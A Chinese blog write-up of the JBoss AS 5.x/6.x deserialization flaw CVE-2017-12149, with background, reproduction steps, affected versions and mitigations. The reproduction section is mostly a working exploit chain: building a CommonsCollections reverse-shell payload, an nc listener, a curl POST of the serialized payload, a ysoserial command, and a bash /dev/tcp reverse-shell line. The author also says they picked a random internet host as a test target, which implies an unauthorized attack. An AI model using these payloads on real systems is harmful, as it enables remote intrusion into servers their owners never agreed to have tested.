2017年8月30日,Redhat公司发布了一个JbossAS 5.x系统的远程代码执行严重漏洞通告,相应的漏洞编号为CVE-2017-12149。近期有安全研究者发现JbossAS 6.x也受该漏洞影响,攻击者可能利用此漏洞无需用户验证在系统上执行任意命令。
2017年9月14日,国家信息安全漏洞共享平台(CNVD)收录了JBOSS Application Server反序列化命令执行漏洞(CNVD-2017-33724,对应CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
环境搭建
p师傅的vulhub和Medicean的Vulapps对应的这个docker环境执行之后还没运行起来就Exit了;
这里图省事通过xxxx随便找了一个小白鼠;
漏洞复现
该漏洞出现在 /invoker/readonly 请求中,服务器将用户提交的POST内容进行了Java反序列化;
如果页面返回500一般是存在了;
使用工具:http://scan.javasec.cn/java/JavaDeserH2HC.zip
使用方法:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port
此时会生成一个ReverseShellCommonsCollectionsHashMap.ser二进制文件;
在VPS上监听:
nc -l -vv 4444
利用curl发送POST包,数据来源这个二进制文件:
curl http://192.268.197.25:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
note:二进制文件不要忘记@
JBoss权限较高,会拿到很舒服的shell;
使用 ysoserial.jar
生成二进制文件:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,xxxxx:xxx}|{base64,-d}|{bash,-i}" > poc.ser
VPS监听,发放数据包;
note:使用bash来反弹shell bash -c "bash -i >& /dev/tcp/10.0.0.1/21 0>&1"
,但由于Runtime.getRuntime().exec()
中不能使用管道等bash需要的方法,我们需要用进行一次编码。
工具:http://jackson.thuraisamy.me/runtime-exec-payloads.html
参考 p师傅:http://vulhub.org/#/environments/jboss/CVE-2017-12149
漏洞影响
Jboss AS 5.x
Jboss AS 6.x
修复方案
由于漏洞只影响JBoss 5.x/6.x,大可升级到JBOSS AS7;
临时解决方案:
(1)不需要 http-invoker.sar 组件的用户可直接删除此组件。
(2)添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:
(3)用于对 http invoker 组件进行访问控制。
参考博文
https://mp.weixin.qq.com/s/zUJMt9hdGoz1TEOKy2Cgdg https://www.secfree.com/article-571.html https://www.cnblogs.com/sevck/p/7874438.html